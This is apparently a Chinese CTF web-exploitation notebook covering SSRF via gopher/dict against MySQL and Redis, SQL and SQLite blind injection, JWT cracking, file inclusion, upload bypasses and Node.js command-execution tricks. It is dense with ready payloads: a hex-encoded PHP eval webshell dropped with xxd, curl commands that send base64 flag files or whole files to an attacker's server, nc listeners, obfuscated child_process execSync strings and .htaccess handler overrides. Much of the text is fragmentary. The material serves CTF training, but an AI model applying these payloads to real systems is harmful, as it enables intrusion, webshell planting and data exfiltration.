|
1.伪造admin的session
2.创建一个success.txt
伪造admin的sessionn感觉可以先在本地创建一个,然后再传过去:
|
1.伪造admin的session
2.创建一个success.txt
伪造admin的sessionn感觉可以先在本地创建一个,然后再传过去:
SSRF是一种由攻击者构造形成由服务器发起请求的一个漏洞,让服务器去请求通常请求不到的东西。一般用来在外网探测或攻击内网服务
实例代码
|
file_get_contents:能将url或者文件呈现给用户
fsockopen:能打开一个网络连接,实现对用户指定url数据的获取,传输原始数据
curl_exec:…..
file://C:/flag.txt |
gopher是一个信息查找系统
利用此协议可以攻击内网的FTP、Telnet、Redis、Mysql,可以进行get、post请求
1.构造http get/post请求消息
2.对请求消息进行url编码
3.将编码后的字符串中的%0A替换为%0D%0A
4.将最终的字符串在进行一次URL编码
5.拼接协议头、请求地址
gopher转化脚本:
from urllib.parse import quote as urlencode |
gopher可以自定义发送post以及get的请求内容
可以先看/etc/hosts看ip,然后扫描端口可以从1w-2w,看题目说明,没说就是扫6w个
原理:我们知道ssrf就是伪造服务端发起请求,这里就有个问题就是,为什么我们使用本地抓的包写入到gopher攻击数据包里面,可以打题目里面的?那就是因为在ssrf题目里面,我们发起的请求就相当于在题目的本地进行攻击了,所以效果是一样的
SSRF漏洞结合gopher系统攻击内网未授权mysql(即没有密码),并获取系统shell的方法
客户端连接服务器有三种方法:
1.unix套接字:只能在客户端和mysql服务器在同一台电脑上才行
2.内存共享/命名管道:window系统
3.TCP/IP套接字:是在任何系统下都可以使用的方式,也是使用最多的连接方式,即:mysql -h127.0.0.1 -uroot -proot
PS:这里不可以使用localhost,因为localhost使用的是unix的套接字
mysql客户端与服务器的交互主要分为两个阶段:
connection phase(连接阶段或者叫认证阶段)
command phase(命令阶段)
在连接阶段包括我首保和认证包,主要关注认证数据包
1.使用tcpdump
tcpdump -ilo0 port 3306 -w sql.pcapng |
2.使用wireshark打开存储了数据包的文件
3.接下来找到Login Request的包并右键单击Follow一下里面的TCP Stream
4.执行以下操作
5.将上面的数据复制下来,使用一下脚本,构造gopher攻击包:
#encoding:utf-8 |
6.运行脚本 ,执行脚本结果
利用mysql写马:
select '<?php phpinfo(); ?>' into out file "/tmp/1.php"; |
然后使用gopher伪造,然后打过去
PS:如果题目权限给的很高,或者用了比较旧的mysql版本,说明就是要让你用这个办法,否则你写过去的马将会面临一个权限问题
如果没有写入权限为null,那么就是用log写马即可
用以下脚本直接打,可替换内容,然后再urlencode一下即可
from urllib.parseimport quote as urlencode |
centos才能用
如果redis与php在一起,可以直接写到/var/www/html/shell.php
def webshell(): |
url=dict://127.0.0.1:8000 |
通过回显看端口是否开启
url=dict://127.0.0.1:8000/auth;123123(密码) |
通过回显看密码,密码一般是123456或者admin或者123123
dict://127.0.0.1:8001/config:set:dbfilename:webshell.php |
使用两个工具:
https://github.com/n0b0dyCN/redis-rogue-server |
使用redis-rce加载redis-rogue-server-master的恶意模块exp.so,即可实现RCE
https://github.com/r35tart/RedisWriteFile |
使用此软件联通即可写无损文件
file协议+域名+读文件地址
file://localhost/var/www/html/config.php |
1.过滤file,可使用File://大小写绕过试试
2.提交内容末尾添加/等内容可使用?或者#进行注释
3.url可以加参数绕过过滤
跳转/解析到127.0.0.1: |
遇到需要127.0.0.1访问:直接使用以下内容进行绕过
X-Forwarded-For:127.0.0.1 |
可以使用一些不同的进制替代ip地址,从而绕过WAF
如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。
http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的
有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents()函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。
httpsssss://../../../../../../etc/passwd |
https://www.freebuf.com/articles/network/255456.html
漏洞产生原因:
Parse_url和访问url是两件事,这两件事对url的处理存在差异
漏洞利用:
http://y1ng.vip\@flag.authenticator.das.ctf:80/则会访问到 |
https://github.com/ev0A/ArbitraryFileReadList/
读配置文件,发现其他端口
使用soap反序列化可以发送post请求
|
验证和访问分开,验证一个合法的域名,然后在这个域名写写一个重定向的指令
可以重定向的域名生成:
https://requestrepo.com/#/ |
flag一般不在拿shell的这个机器上
如果是有一个共同上传的地方,意味着upload目录下是一个777的权限,可以直接去扫获取别队伍上传的信息
对于打内网:
通过ifconfig看ip地址(windows)
通过/etc/hosts
首先扫描ip看是否有存活主机,再将所有存活主机ip列出来,
HTTP服务->扫服务(端口)
扫描工具: |
getshell以后发现权限不够,可以使用ps(获取进程,看看运行了什么进程)
或者开netstat
自己再80端口,然后shell在8006端口该如何解决?
frp工具:
可以看源码,所以直接查看源码
if (req.session.won >= 100) |
赢100次就胜利,显然不太可能,于是继续看看其他地方,这里发现session可以被player的属性赋值,那么如果我们将player这里就对won属性赋值>100不就可以了吗,初步推断可能存在原型链污染之类
app.get('/start', (req, res)=>{ |
但是在另一个地方:发现有对won的重新赋值,所以应该还要再考虑一下原型链污染的一个顺序问题
app.post('/start', (req, res)=>{ |
最后再POST /这个路由中看到,果然有可以污染的地方
player[i] = tempPlayer[i] |
捋一下思路:
先对POST /污染一下player ——>到POST /start 初始化session——>GET /start 对session进行赋值,将其won属性赋值给session
但是我又看了一下似乎这样还是不够的,/award中还有一个is_win要是true,这样
if (req.user.is_win !== 'true' || req.session.is_win !== 'true' ) |
向上看了一下,POST /start中有对这一项进行ture的赋值,所以应该还要再回来post /start中对这个进行赋值
首先把post污染一下那个won属性,然后把token复制回去替换一下去访问就可以发现player已经101分了
然后就有token让你跳转到/award
然后无事发生?、?
回去看看源码,这边似乎要注入,但是我不知道id在哪,感觉是要伪造jwt于是再看看==let patt = /union|like|pragma|savepoint|vacuum|detach|alter|attach|insert|update|release|rollback|load|create|drop|delete|explain|regexp|=|>|<|"|'/i |
用工具发现出不来,于是在回去找找信息:发现是要用rockyou的字典才行
import jwt |
拿到key然后去换一下user看看源码这个看起来就是要盲注了吧
应该就是要用这个id来进行盲注了吧
那么接下来的思路就是构造sql注入语句,然后替换到id那边重新进行加密,但是每次要到这个/award都需要重新构造id,就要伪造jwt,这里就编写一下python脚本跑一下?
首先看看如何构造盲注语句:
根据他的结果,如果查询到就返回结果,查询不到就返回空好像,然后根据这个过滤内容,看起来不像是mysql,毕竟mysql没有vacuum这个东西吧,查了一下,这个是sqlite的东西,所以这题应该是sqlite盲注
盲注中的截取没咋过滤,就直接用substr就可以,然后比较符过滤了,很多,看了一下in没被过滤,所以这里考虑用in试试,由于引号都被过滤了,所以可以直接使用char函数进行绕过
import jwt |
sqlite注入:https://xz.aliyun.com/t/8627#toc-3
一开始我输入任何的url都没用,一直说后缀不对,原来是要在url后面加一个png。。。。所以可以用file协议读一下源码,由于过滤了var,可以通过二次url编码进行绕过,为什么用?号呢。其实这里可以理解为一个分割的作用吧,?png不影响前面地址的访问
file:///%25%37%36ar/www/html/index.php?png |
|
所以应该是将tmpfile文件的内容赋值给filename中,然后访问即可,接下来就是找flag在哪里,可以猜一下是否在/flag或者/flag.txt~
扫描一下 发现有source目录
require 'sinatra' |
这题是正则表达式延时,直接打就行了~
require 'net/http' |
上面存在文件包含:
使用一下指令读取源码
?page=php://filter/convert.iconv.ASCII.UCS-2BE/resource=login.php |
得到以下内容:
|
然后看到phpinfo()里面,可以使用session文件包含,因为PHP_SESSION_UPLOAD_PROGRESS是有开的
import requests |
就可以了~
看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有like、rlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下
判断注入类型
布尔盲注,回显分为
测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end# |
编写盲注脚本:
构造注入语句
这题的截取函数基本都过滤了,所以这里使用
接下来就是跑表名,由于in库被过滤了,这里试了一下 发现
select group_concat(table_name) from sys.schema_table_statistics; |
是可以的
就可以跑出表名了
接下来使用union无列名盲注
select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2 |
得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数
import requests |
就做了俩题,另外一题还是赛后半小时后才做出来,太太太太太太太太太太太菜了
网上有现成的链子 拿到直接打就行了,后面在研究一下过程吧
|
这题的就在于扫扫扫扫描。。。。。。也就是信息收集
首先是
.login.php.swp |
有源码,然后username可控
|
可以发现session_start()函数,username又存入session中,大概率就是session文件包含了,于是再找找哪里能继续包含内容
在后面输入url窗口那里,发现输入这个,可以读到include123.php
127.0.0.1/admin/include123.php |
解法一:
利用username进行session文件包含,由于后面使用了json_decode,所以我们可以使用unioncode编码输入内容,这样就就可以绕过前面的过滤了
PS:一开始一直没成功,后面才知道是实体化编码的问题,输入的内容虽然可以正常显示 但已经不是原本的东西了,其中就是<这个编码错误了,这个是学长给的unioncode编码脚本,用这个就行了
def UNICODE(payload): |
直接上网站加密就没成功了。。看下面这个
payload
http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session) |
解法二:
可以看到我们输入的链接最终也会在session文件里面出现,所以此时我们可以利用这个链接进行文件包含
http://127.0.0.1/admin/include123.php?u=/tmp/sess_xxxx(你的session)&a=<?system('ls');?> |
但是需要注意的是不能有空格,会被直接截断!,所以后面可以使用这个进行绕过
cat${IFS}$/fl""ag |
还是太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太太菜了,要走的路还很远,好好加油
反思一下这次这个安全监测应该可以很快做出来的,主要是信息收集得不行,太慢了,而且换了好几个工具有必要更新一下字典之类的了!
system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open() 注:反引号是shell_exec()的别名
程序过滤不严谨,导致用户可以将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()等等和命令执行的区别是:一个执行系统命令,一个执行PHP代码
$IFS |
ca\t y1n\g.php反斜线绕过 |
shell_exec等无回显函数
ls;sleep(3)
copy flag.php flag.txt |
tar cvf flag.tar flag.php #tar压缩 |
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php |
在自己的公网服务器站点根目录写入php文件,内容如下: |
在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://*.*.*.**/record.php?data=`cat flag.php|base64` |
1.在公网服务器监听监听端口
nc -lp 9999(端口号) |
2.向目标服务器发起http请求,执行curl命令
curl ip:9999 |
参考https://bbs.huaweicloud.com/blogs/detail/286904
curl -d @/home/www-data/res.txt http://xx:xxx |
第一条是读取文件内容,第二条是执行命令,可以将执行命令的结果保存为一个文件,然后再去进行读取
child_process是用来执行系统命令模块
require("child_process").exec("sleep 3"); |
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234") |
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234") |
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234') |
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') |
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234") |
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString()) |
实际上通过require
导入的模块是一个Object
,所以就可以用Object
中的方法来操作获取内容。利用Object.values
就可以拿到child_process
中的各个函数方法,再通过数组下标就可以拿到execSync
console.log(require('child_process').constructor===Object) |
在js中,需要使用Reflect
这个关键字来实现反射调用函数的方式。譬如要得到eval
函数,可以首先通过Reflect.ownKeys(global)
拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]
即可得到eval
console.log(Reflect.ownKeys(global)) |
拿到eval之后,就可以常规思路rce了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")') |
这里虽然有可能被检测到的关键字,但由于mainModule
、global
、child_process
等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29') |
这里还有个小trick,如果过滤了
eval
关键字,可以用includes('eva')
来搜索eval
函数,也可以用startswith('eva')
来搜索
在3.2
中,获取到eval的方式是通过global
数组,其中用到了中括号[]
,假如中括号被过滤,可以用Reflect.get
来绕
Reflect.get(target, propertyKey[, receiver])
的作用是获取对象身上某个属性的值,类似于target[name]
。
所以取eval函数的方式可以变成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva'))) |
后面拼接上命令执行的payload即可。
https://www.anquanke.com/post/id/237032
论文:https://diary.shift-js.info/blind-regular-expression-injection/
2021ciscn 正则表达式盲注exp
require 'net/http' |
改js文件
抓包改
选择php3、php4、phtml等不常见后缀
AddHandler php5-script .jpg |
php_valueauto_append_file /tmp/webshell.txt |
Options +ExecCGI |
#!/bin/bash |
AddTypeapplication/x-httpd-p\ |
AddType text/html .shtml |
<pre> |
?file=../....../xxx.file |
?file=../../../../../tmp/sess_xxxx |
import requests |
file=php://filter/string.strip_tags/resource=/etc/passwd |
?file=php://input(需要allow_url_include=On) |
若base64-encode被过滤,可以更换另一种编码方式 |
proc 是个好东西,总结下经常会用到的文件: |
os.path.join('/tmp','/etc/passwd') |
select sleep(); |
select benchmark(100000,sha1(sha1(sha1('tlfie')))); |
在一个session中先锁定一个变量 然后通过另一个session,再次执行get_lock函数
select get_lock('tlife',1); |
但也不是每次都能用,需要提供长连接,在Apache+PHP搭建的环境中需要使用mysql_pconnect函数来连接数据库,所以只能根据环境去实际测试一下,我在本地也没测试成功
正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); |
可以通过
show variables |
来查看系统变量以及其值
secure_file_priv
对读写文件有影响。
secure-file-priv
参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld不允许导入|导出。默认是nul
l当secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制
select load_file('/flag') |
select "<?php phpinfo();?>" into outfile "/tmp/1.php" |
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
$mysqli->multi_query($sql); |
如果堆叠注入,可以利用log日志文件写马
set global general_log=on; |
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
handler users open as hd; #指定数据表进行载入并将返回句柄重命名 |
一、SQL 语句的执行处理
1、即时 SQL
一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:
1. 词法和语义解析;
2. 优化 SQL 语句,制定执行计划;
3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。
2、预处理 SQL
但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入
实例如下,可以预编译一个语句然后执行即可,里面的变量是可以更换的
set @a=xxxx; |
例1:
以上 不设置变量直接使用,以下为设置了变量直接进行调用,
这是另一种使用方式,但是似乎无法使用字符串
DELIMITER $$create procedure fuck(out oo text(999), in ii text(999))BEGINset oo = ii;END$$call fuck(@a, 0x73656C656374202731323327)$$prepare b from @a$$execute b$$ |
过滤了in/or导致无法使用information_schema
select table_name from sys.schema_auto_increment_columns where tabe_schema=database(); |
select table_name from mysql.innodb_table_stats where database_name='security' |
select group_concat(table_name) from sys.schema_table_statistics |
但是我们查询不了列名,这个时候就需要使用无列名盲注
#查询所有的库 |
select 1,2,3 union select * from users |
select group_concat(a.2) from (select 1,2,3 union select * from users); |
这就是盲注的思想了,前面的部分是你要注的内容,因为要判断不同,所以后面的都应该是最大的zzz 这样才能保证每一位的改变能影响后面的
这是对比第二位是的完整结果是admin
编写脚本的时候可能还需要做一个该字段是否结束的判断,也就是从一开始遍历到最后都没改变 说明结束了